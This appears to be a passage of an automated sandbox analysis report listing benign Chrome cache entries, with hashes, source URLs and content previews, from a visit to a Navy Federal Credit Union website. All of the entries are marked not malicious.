Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE............szz.....MPU............._ch..................&'+......t.............\|..jpq...z.....{.........255..<=?.........................................4w....9IDATx......L...4;;....[/.\|...}7U...8..9.4..V...%.....F..5j.Q.F..5j.Q.F..5j.Q.F..5j.Q.F..5j...d....?y........@.QI..p8.].....0~.7 ..u%..z>...'t..i...!@.VB.....f..t<..{.<.f.......?&.H....n...8.4!...U...].O:..n2Y.z..t..l.. `....;...^O&.$\|g.ya......!h..Mk.-O.c...A.....'..1M..;t<....,^.$..\|.I.##..V.H....'......c...!#...+H...8.'.Au.........{....p..;.........O]..dFP.wD.>...D4../L...7....qF..O.<.3..0..7m..\|.....D..t..k..nY.F....Y.r...8..8v.?Nm@GX0.X.+...0.i......f..!..x.D.U'#@.$."!..3#..:..,.I.$cYp`.&/..R...!......".......G..,...X..cj42..".r....Hw>.w;:......t.......vl.>...\|....=!..C..L7..'..f]........;1=.F..5j.Q.F..5j..Y...~2f..~.W*...Q..o?..]..M@......F..5...~8.......:ph..FP.F..?........+.~tZ.2c.:..Q.F..?....w.3...uw.F..5j.Q.F

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	84137
Entropy (8bit):	7.9976474193548155
Encrypted:	true
SSDEEP:	1536:krKaPIYmftrLg9UFGki4tp66ggAWpJ8nkuQYgxSPjud530kH5:xaPIF1rvrtp66ggGku1ljuj35
MD5:	6783913F1C9DD693C331BAA1094DA7E4
SHA1:	22AC62BF52AAC9B3D67568D1B2DCCF84AC65A01D
SHA-256:	EEC6524B4FC0DFA19BD7AFB1ACA888816EB7B7369FE66E5DA0FED36F7DE98339
SHA-512:	E3E6F1B6007898DA1B851CF792EE823943902F8CC29F0237C4E35404FAA6B96205D27E7D594116FBE3102E8D1EE07F89474F33590C89784C1CC74BB27D2EEF68
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/GettyImages-1437767254?qlt=80&wid=1600&ts=1689965334414&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............G....(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@...+....pixi............av1C........colrnclx...........ipma.................G.mdat...........B2....p.E.Q@.........@.B..>....7.9..fYr.X'.z7.....\|nf...."m......`..."...R...........".....d\|....@!.B~.C.$-T.:H......k](......f.) b.,.r.^....&..i....~....R.L.4.R.0.....:f.......%z.B.b._.U\.,_.....0....l?....?ea.....-\|.N......N?n[V.T..v....Y!_...H.In...f.5..&gA6..'..y.(.u...e..n..5G.j.3Lb8..Eq...._.@...;.x~..Q.......\|.6..w.u<...r..0...Z.1.g.../e...t..(A:_.A-1n.!".,(..ba.C..x..-...L..m....#.[.....)...m.JQ.~.\|..b........k..r[.p..\|..:......t=.mu;&...]...I......j..$...#."b...j..>J.$.b..nv,. \?..n..x.....mF.B..c.C...s.......d.....i..M.~am._F~.z.)..B).6?.Z.....0.S..."-.....).&...I...d.rxTO..{..t...0.ge...N...g................Z.DG.k...f.,....+gD...K..?.....P9...WE...z.

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57671), with no line terminators
Category:	downloaded
Size (bytes):	57671
Entropy (8bit):	5.406436595808325
Encrypted:	false
SSDEEP:	1536:buM99dAoLYPNh7S5BTF94zGnSJpSFD2No5/g:buMdAVNiTF94zGnSJpSFDr5/g
MD5:	BBBCF811D8437A575D796A4C1E5D4FAD
SHA1:	CCE821AAE4F2B8982D9C08B308FB5306945EA68E
SHA-256:	4D15FF2317E16CCD8CA1D3248FEA7D91130E022369BB032824A84AD9967064DF
SHA-512:	6D0E3E9079DB4C175F0E8EC0279E9A89DF786D226685C0764AB20179D69E19CA269E8CC40646A97D31F95597654EC869472358BB72071011DF3410FC32E501C0
Malicious:	false
Reputation:	low
URL:	https://static.ads-twitter.com/uwt.js
Preview:	!function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=globalThis.crypto),!r&&"undefined"!=typeof window&&window.msCrypto&&(r=window.msCrypto),!r&&void 0!==n.g&&n.g.crypto&&(r=n.g.crypto),!r)try{r=n(2480)}catch(t){}var i=function(){if(r){if("function"==typeof r.getRandomValues)try{return r.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof r.randomBytes)try{return r.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")},o=Object.create\|\|function(){function t(){}return function(e){var n;return t.prototype=e,n=new t,t.prototype=null,n}}(),a={},c=a.lib={},u=c.Base={extend:function(t){var e=o(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1813
Entropy (8bit):	5.283358086676831
Encrypted:	false
SSDEEP:	48:0OlhWc4JckVsJ+eF9zh9iktX8+5FdiRQbLde:TKH3g1kqde
MD5:	D7675CA4CF9C81A0E94F3FA809C4D5DB
SHA1:	9A2F1F5F50442A5363B2F42E58585EF8EDA5AB3E
SHA-256:	9488CB0046ABFA287953E0596B62B607866EBEDB228C02E274BB7F51E9624E60
SHA-512:	1E8F3DA461CEA2EC94F83C82C185B98D2259E5C370B4C76EAE48F9C85F60509FCE6878ADD871A3948796E3A3ACBA58DD17332978175753CB5E21963132F799AC
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/content/nfcu/va-loans-logo?ts=1713972113027&dpr=off
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 343 346"><defs><style>.cls-1,.cls-2{fill:#231f20;isolation:isolate;}.cls-1{opacity:0.1;}.cls-2{opacity:0.3;}.cls-3{fill:#f49322;}.cls-4{fill:#ed780f;}.cls-5{fill:#0f3d70;}.cls-6{fill:#1b68b2;}.cls-7{fill:none;}</style></defs><g id="Group_19176" data-name="Group 19176"><path id="Path_1341" data-name="Path 1341" class="cls-1" d="M167.87,110.54l-125,85L43.28,210,167.87,125.4Z"/><path id="Path_1342" data-name="Path 1342" class="cls-2" d="M292.87,195.57l-125-85V125.4L292.45,210Z"/></g><g id="Group_19175" data-name="Group 19175"><path id="Path_1341-2" data-name="Path 1341-2" class="cls-1" d="M167.87,184.53l-125,85L43.28,284l124.59-84.61Z"/><path id="Path_1342-2" data-name="Path 1342-2" class="cls-2" d="M292.87,269.55l-125-85v14.86L292.45,284Z"/></g><path id="Subtraction_127" data-name="Subtraction 127" class="cls-3" d="M43.13,196.53h0V159.12L167.87,76.93l.26.18v37.41l-.26-.17Z"/><path id="Subtraction_130" d

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 82048, version 1.0
Category:	downloaded
Size (bytes):	82048
Entropy (8bit):	6.042490769636954
Encrypted:	false
SSDEEP:	1536:iqLSlpkI3vE580OGsrMhnh7EuUyIKvORrLPlIw9B/9YMuL1m/BLOMJCiBZ5:iqLSlGIfE580OGsohnh7EuUyIKvO1Bj5
MD5:	26C884B9E5C56DB40D45D3E5E2E32F88
SHA1:	C9AE88582F087DF6AD2E0E01AEA6A13212061DD7
SHA-256:	1FA934880A173F877C7E90F95FCA2ADE66544E05DAA88707D0866B6F903A9C05
SHA-512:	D0FA5D15FFD38ACC5C679C02B97FF1C232133700C1B81958C244A51A10150828CE07CB7866D609CAC543EB31DC0FAEA2AEC95F9EB3649DB217FBBC9EB8D50B99
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/nfcu-icons/nfcu-icons.woff?vw3v7d
Preview:	wOFF......@.......@4........................OS/2.......`...`...Lcmap...h...\...\.H..gasp................glyf......8`..8`..e.head..:,...6...6..~.hhea..:d...$...$...#hmtx..:...........-.loca..=8...Z...Z...<maxp..>.... ... .2.Iname..>.............post..@`... ... ...............................3...................................@.........@...@............... .................................@............. ............ ......................................................79..................79..................79...............(...!".....3!.#53547>.76;..#"...3.#.3265.4&#....5KK5..zz..8&&+qe.....5KK5..K5..5K.o.P.)(;.....S...K5..5K................K._.e.y..74&5....6'&'..'&'&..........54&#!"..>.3!.#..................!265.#.#5#5353.3.263..5467."#"&'.>.3.4&'.....'..#&....3!>.54&'....EQ....5 !#EP....5!!"..dG.VEd.,u>.eOr8;8-+.F.G6...3Gd.@..@.............7^#(^4.......K8.,.Cv$.]>......[....../.}Z-((;....y[-((=....5UGdaE'8D.uC8_#!(..E.2iM...dG....@......1.."..".....y.....F,9'...1(;N................

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2963)
Category:	downloaded
Size (bytes):	28244
Entropy (8bit):	5.564842174995534
Encrypted:	false
SSDEEP:	768:7DdgODQiC1DIWT2AOMkltkQFgHJo0mjFYBk3XfeWjvoN+2QGOR3TVqw6nHYhluON:7HYEHfe/lo
MD5:	E7A013F0A001DF44E85774CEECFF8DC7
SHA1:	8B6D229634113E91713455F515249784984549F0
SHA-256:	1FCCE22A1ACE70586D31818D69D31CBEBBE0B0D2BB236557EA49E50C5C7DB5D9
SHA-512:	7B2CB9B52DFF3096F3621C70616FD126ADEF5C90591439F27C6CF0D3D6453393B9D33EF85F5163C020AD4771B1C74BF3E8036E7AFACC103105F13A931F0A97C0
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/57/0/onion.js
Preview:	google.maps.__gjsload__('onion', function(_){var cNa,dNa,xR,AR,zR,gNa,hNa,iNa,fNa,jNa,BR,kNa,lNa,mNa,nNa,oNa,pNa,rNa,sNa,vNa,DR,xNa,zNa,CNa,yNa,ANa,DNa,BNa,ENa,ER,HR,IR,GR,JR,JNa,KNa,LNa,KR,MNa,LR,NNa,MR,NR,ONa,PNa,OR,SNa,RNa,RR,VNa,WNa,XNa,UNa,YNa,$Na,TR,dOa,eOa,fOa,ZNa,aOa,bOa,hOa,SR,qOa,rOa,uOa,tOa,VR;cNa=function(a,b){_.H(a.Ig,1,b)};dNa=function(a,b){_.H(a.Ig,2,b)};xR=function(){eNa\|\|(eNa=[_.L,_.K,_.M])};AR=function(a){_.PI.call(this,a,yR);zR(a)};.zR=function(a){_.gI(a,yR)\|\|(_.fI(a,yR,{entity:0,Dm:1},["div",,1,0,[" ",["div",,1,1,[" ",["div",576,1,2,"Dutch Cheese Cakes"]," "]]," ",["div",,1,3,[" ",["span",576,1,4,"Central Station"]," ",["div",,1,5]," "]]," "]],[],fNa()),_.gI(a,"t-ZGhYQtxECIs")\|\|_.fI(a,"t-ZGhYQtxECIs",{},["jsl",,1,0," Station is accessible "],[],[["$t","t-ZGhYQtxECIs"]]))};gNa=function(a){return a.fj};hNa=function(a){return a.Vk};iNa=function(){return _.FH("t-ZGhYQtxECIs",{})};.fNa=function(){return[["$t","t-t0weeym2tCw","$a",[7,,,,,"transit-container"]],["display",f

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	9286
Entropy (8bit):	7.933949062374783
Encrypted:	false
SSDEEP:	192:f6FJDtYnhOOyipVD2JakQDZ8+BI1hdOiOtvs:SFUhdbpF2Jak4h7s
MD5:	F59FC0C980A50CF2D778916C30A1196B
SHA1:	68AFA9D68CA56EBFB4A30E4843DD2D3E9CAF91E6
SHA-256:	F00B08FC09ADDD5521A15814A2B101021D9086B84F2668E7F95F28F10B186BFD
SHA-512:	9E34E5CCC6045F1A3E8275D2E0C02BCF7DB2E7F86ED81180A36C132ABF5D74751D4B292F67A1B3E0175BE8E388EFCECF8BC4A4741A2C2809AA9B221F3ECAB53B
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i4!3i4!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=14073
Preview:	.PNG........IHDR.............k.XT....pHYs................lPLTE..........................................................n..\|.........5q.K..`..'f.....Z._ch...S..#.IDATx....v......*.......\|(.E..Q2.y.k..e..D#....h.N.^XD"..{..p.wvH...k.O..xX....iY.;^.......\|.>Ox..}..U..w.W..n.......j..=....w.e%........?..............{...Z...>.?..+.....#.{....w%.n>x....!..".8NH.3.........q.I@:C...X.{......F....o.U["X.@....!..>.C..@P..d......?d..l.....P.z{z.A.[...\|..I..(m.=._.]nn...}.I.K.>...T:.x.E......g....z.....}v.+ .p.\....O..>.w.4..dG.r.^&....:..+Y...%.r.5..O.&..q....4....%EcF ....+.H.....m...=...[.c....../.GE..uV...`...s.. ..(.o.4..D..u.8.N+..i.G.V....lG...`..k..7.c..I.....f..5C...~....~...Q..i.....o.....T..e.....V.?..x..............+I.\>...e..6Ee..N...F.$@!.D.......[.b.}...eV...t.w..xA7.. X...~...~ ,...p}....9h.....Fd.-~.j...!K.U..(p..`..u0.......t...x..?.....~P8,..O...J..y._.Y...!....=e..B^._..... ...6........?..??P&P>..x\|.8"XEJ.B.D..z....gjJ#?:.C

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (377)
Category:	downloaded
Size (bytes):	2472
Entropy (8bit):	5.058419182983405
Encrypted:	false
SSDEEP:	24:OfFFkPAfPz8FkP7fPz8FkPWfPz8FkPZfPz8FkPUfPz8kP/fPzi:OfFFker8Fkzr8FkIr8FkFr8Fkqr8kPri
MD5:	717F15B12C079DD81E0758C0FEA983A1
SHA1:	423152F541D064D1D37D3BDF47DF5EC43C39FD7B
SHA-256:	347E381E4A7AC4FAB658F54C4E2F0F08ADB3BCC71761869966138950DBAAA5B2
SHA-512:	F6EB63642AFAF76AC6B508B608AFDDA2CF7061CC79C1C2E88A2A9C90BB1A8D78451D164310368CF48945E03C570C2A6EA563CEE7B50F4A799C354A372C88E0D9
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/10s/rendition.m3u8?fastly_token=NjY1MTRmNDlfYjJhM2E5MWNhNDU3NzllZWJkMDkzNjdmODkyODE5YWY0M2U0ZDg5MjZhYzZlNjMzNDIzNzUzY2I5MzIyNTIyZQ%3D%3D
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:10.#EXTINF:9.985,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/1x/segment0.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/~hmac=97dcbb70dc8a68b6ded8fedd1ff02e5824aa38da4ebc11f8aa2fba66f7a6c5e4.#EXTINF:9.985,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/1x/segment1.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/~hmac=97dcbb70dc8a68b6ded8fedd1ff02e5824aa38da4ebc11f8aa2fba66f7a6c5e4.#EXTINF:9.985,.https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-86

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
URL:	https://um.simpli.fi/freewheel
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	4.7225664086661645
Encrypted:	false
SSDEEP:	24:tu1Mz4nprFWUUZ+cblKlXF+k/3WzvYCWW/1U/zgw6Cu5sAF0YA9tSekuXlGmW0+e:0BpWZ/cl5CPWW/1U/zECutF0YA5kuXlX
MD5:	2AC4F9606F26ACF17239DD5556758BD2
SHA1:	568D170C93F8DB284A8E6F4BF06F94D9F6EFE088
SHA-256:	272FF2A3C363D2574BD6091574944F98C3E30D5CFD17AFA816BFF96B6F319D0B
SHA-512:	2FFC5693FD814F77244CC9903173B3BB36CDC2B879A004A9DD1FA3991ED6A30BCA9C71CDEE9445EECEF8E725B73F635509C2395F7FD18479A43FBB161293A494
Malicious:	false
Reputation:	low
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 216 216"><defs><style>.cls-1{fill:#1e69b3;}</style></defs><title>39337 (9-20) - DC_Global Rates Bar SVG Icons (9-20)</title><path class="cls-1" d="M108,7A101,101,0,1,1,7,108,101.12,101.12,0,0,1,108,7m0-7A108,108,0,1,0,216,108,108,108,0,0,0,108,0Z"/><g id="car"><path id="Path_2044" data-name="Path 2044" class="cls-1" d="M172.64,85h-4.18a5.72,5.72,0,0,0-5.33,3.81l-1.9,3.8h-1.9L157.05,69A14.37,14.37,0,0,0,144.12,55h-73A13.74,13.74,0,0,0,58.18,68.64L55.9,92.22H54.76l-1.9-3.8a5.72,5.72,0,0,0-5.33-3.81H43.35c-2.66.38-4.56,2.67-4.18,5v1.9a4.21,4.21,0,0,0,4.18,4.94H55.52l-.38,3.8s-13.69,12.17-13.69,16c0,2.66-.76,12.16,0,19.77a4.88,4.88,0,0,0,1.52,3.8v14.07a7.22,7.22,0,0,0,7.22,7.23h11a7.23,7.23,0,0,0,7.23-7.23V142.41h80.61v11.41a7.23,7.23,0,0,0,7.23,7.23h11a7.22,7.22,0,0,0,7.22-7.23V137.09h0v-.76a114.56,114.56,0,0,0-.38-19.77c0-3.81-13.69-16-13.69-16h0l-.38-3.42h12.55c2.66-.38,4.56-2.66,4.18-4.94v-1.9a4.3,4.3

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6667), with no line terminators
Category:	downloaded
Size (bytes):	6667
Entropy (8bit):	4.87915621874805
Encrypted:	false
SSDEEP:	96:kTKVNOZtYqv/RQdoWuEe7cR6a3DRLIQr+DzaCf:k+rOU0SYEG039D6S4
MD5:	30901454119D24E41B33AE10AF3C75B9
SHA1:	738F5200DE063D1BEA2729ECD6B526AAECC5DE66
SHA-256:	ECE2EB513D834B2BECEB5E99E5D23A48652542CEE206112D830514A77EC72C60
SHA-512:	87560E9BE71B5D5D89C64EB0D76BE1E1886D1D28A71C62CA5AEB3DF277585921809352F3B56267D8C8C2039D0DCA30E2839F593C568D6888B2BC0C9DD19B9E86
Malicious:	false
Reputation:	low
URL:	https://accdn.lpsnmedia.net/api/account/11478817/configuration/setting/accountproperties/?cb=accountSettingsCB
Preview:	accountSettingsCB([{"id":"messaging.ios.sdk.min.version","createdDate":"2017-01-10 04:11:41","modifiedDate":"2023-01-22 16:38:10","type":2,"propertyValue":{"value":"1.1.36"},"deleted":false},{"id":"nbc.integrations.adobe.analytics","createdDate":"2021-07-07 07:29:31","type":2,"propertyValue":{"value":"false"},"deleted":false},{"id":"messaging.audio.sharing.enabled","createdDate":"2021-08-11 18:25:52","modifiedDate":"2021-08-11 18:25:52","type":2,"propertyValue":{"value":"true"},"deleted":false},{"id":"messaging.ios.logs.settings","createdDate":"2017-01-10 04:11:41","modifiedDate":"2023-01-22 16:38:10","type":4,"propertyValue":{"value":{"level":"WARNING","minLogLevel":"INFO","randomFactor":1000.0,"maxEvents":50.0,"maxPendingEventsRequests":10.0}},"deleted":false},{"id":"le.site.otk.forceDurationOverride","createdDate":"2021-06-29 03:18:17","type":2,"propertyValue":{"value":"false"},"deleted":false},{"id":"messaging.file.sharing.blurAllConversationImages","createdDate":"2021-04-13 05:58:

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17985), with no line terminators
Category:	downloaded
Size (bytes):	17985
Entropy (8bit):	5.1584657878825935
Encrypted:	false
SSDEEP:	384:BjsZDOFGEI2zjyZm/oQlFsQrs2hC2625D2ZVb42gVWZ2+2paMW8wQMn1e3:+ZD+zIayZmAQL9h7DQDNwp3Y1O
MD5:	D7CAC522641241CA4E9CEAC4F1B458E8
SHA1:	5F2336A12495CB0E2AC465BEAC9F89A5F249BE73
SHA-256:	01A6571DE875629CD204157FFB77BDF6787F80ECBAFACAE73C1CC4F893EB43A6
SHA-512:	F695B6FC8F456004DAAA4DCCF08EB916441FA2672D4C3E54DBA697DE83CAC7EFA9D4C639EF284C7F2F3F99AD7DDA3F04D2553A58C9BD5299B4E258088F87FAEC
Malicious:	false
Reputation:	low
URL:	https://cdn.pdst.fm/ping.min.js
Preview:	(()=>{"use strict";var t={228:t=>{var n=Object.prototype.hasOwnProperty,e="~";function r(){}function o(t,n,e){this.fn=t,this.context=n,this.once=e\|\|!1}function i(t,n,r,i,c){if("function"!=typeof r)throw new TypeError("The listener must be a function");var u=new o(r,i\|\|t,c),a=e?e+n:n;return t._events[a]?t._events[a].fn?t._events[a]=[t._events[a],u]:t._events[a].push(u):(t._events[a]=u,t._eventsCount++),t}function c(t,n){0==--t._eventsCount?t._events=new r:delete t._events[n]}function u(){this._events=new r,this._eventsCount=0}Object.create&&(r.prototype=Object.create(null),(new r).__proto__\|\|(e=!1)),u.prototype.eventNames=function(){var t,r,o=[];if(0===this._eventsCount)return o;for(r in t=this._events)n.call(t,r)&&o.push(e?r.slice(1):r);return Object.getOwnPropertySymbols?o.concat(Object.getOwnPropertySymbols(t)):o},u.prototype.listeners=function(t){var n=e?e+t:t,r=this._events[n];if(!r)return[];if(r.fn)return[r.fn];for(var o=0,i=r.length,c=new Array(i);o<i;o++)c[o]=r[o].fn;return c},u

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1072), with no line terminators
Category:	downloaded
Size (bytes):	1072
Entropy (8bit):	4.648092747747569
Encrypted:	false
SSDEEP:	24:WRDQ2PukPu/2PuvPuFPucPuq2PumPuSPu95PuZ2PuRPu9Pu8hPuS2Pu+PuUxPuba:E0aXgaw2b5aRV+5Kaq65Bdal5cOa+V
MD5:	3CAAECDFBC34F49DF0A7551EE242A761
SHA1:	1D1C3CCA80E8FE0C292ABDE0AEFB01F447B44D24
SHA-256:	FBDD2A4E3E549EB09127467FE90A756ACE0D035D5C6862F6B4F216587210CFF2
SHA-512:	E82B8D1A49DCA8EC31B2A2D6E3018064E6675BD7091737FE4F3CA731A3E30369D0185523FEA241E17547092382D8C288DBAE33BC4576BD603F60D89F89C10F1F
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m4!1m3!1i4!2i1!3i4!1m4!1m3!1i4!2i1!3i5!1m4!1m3!1i4!2i1!3i6!1m4!1m3!1i4!2i1!3i7!1m4!1m3!1i4!2i2!3i4!1m4!1m3!1i4!2i2!3i5!1m4!1m3!1i4!2i3!3i4!1m4!1m3!1i4!2i3!3i5!1m4!1m3!1i4!2i2!3i6!1m4!1m3!1i4!2i2!3i7!1m4!1m3!1i4!2i3!3i6!1m4!1m3!1i4!2i3!3i7!1m4!1m3!1i4!2i4!3i4!1m4!1m3!1i4!2i4!3i5!1m4!1m3!1i4!2i5!3i4!1m4!1m3!1i4!2i5!3i5!1m4!1m3!1i4!2i4!3i6!1m4!1m3!1i4!2i4!3i7!1m4!1m3!1i4!2i5!3i6!1m4!1m3!1i4!2i5!3i7!2m3!1e0!2sm!3i693439617!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1&callback=_xdc_._iciihr&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=121315
Preview:	/* API Response */ _xdc_._iciihr && _xdc_._iciihr([{"id":"tutv","zrange":[4,4],"layer":"m@693439617"},{"id":"tutw","zrange":[4,4],"layer":"m@693439617"},{"id":"tuuv","zrange":[4,4],"layer":"m@693439617"},{"id":"tuuw","zrange":[4,4],"layer":"m@693439617"},{"id":"tuvt","zrange":[4,4],"layer":"m@693439617"},{"id":"tuvu","zrange":[4,4],"layer":"m@693439617"},{"id":"tuvv","zrange":[4,4],"layer":"m@693439617"},{"id":"tuvw","zrange":[4,4],"layer":"m@693439617"},{"id":"tuwt","zrange":[4,4],"layer":"m@693439617"},{"id":"tuwu","zrange":[4,4],"layer":"m@693439617"},{"id":"tuwv","zrange":[4,4],"layer":"m@693439617"},{"id":"tuww","zrange":[4,4],"layer":"m@693439617"},{"id":"twtt","zrange":[4,4],"layer":"m@693439617"},{"id":"twtu","zrange":[4,4],"layer":"m@693439617"},{"id":"twtv","zrange":[4,4],"layer":"m@693439617"},{"id":"twtw","zrange":[4,4],"layer":"m@693439617"},{"id":"twut","zrange":[4,4],"layer":"m@693439617"},{"id":"twuu","zrange":[4,4],"layer":"m@693439617"},{"id":"twuv","zrange":[4,4],"la

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (57907)
Category:	downloaded
Size (bytes):	189502
Entropy (8bit):	5.304736369875714
Encrypted:	false
SSDEEP:	3072:5Y6yjhK6M5+pCkiBwQUfU/fkZKhacFMfdi3YFc:5Y6yjhZCkiB6fUR3YFc
MD5:	D3B7D2ED744D4E5F1A4BF3BF33FB5186
SHA1:	660383BD89CD00BDD89D442556279FFFE15B2085
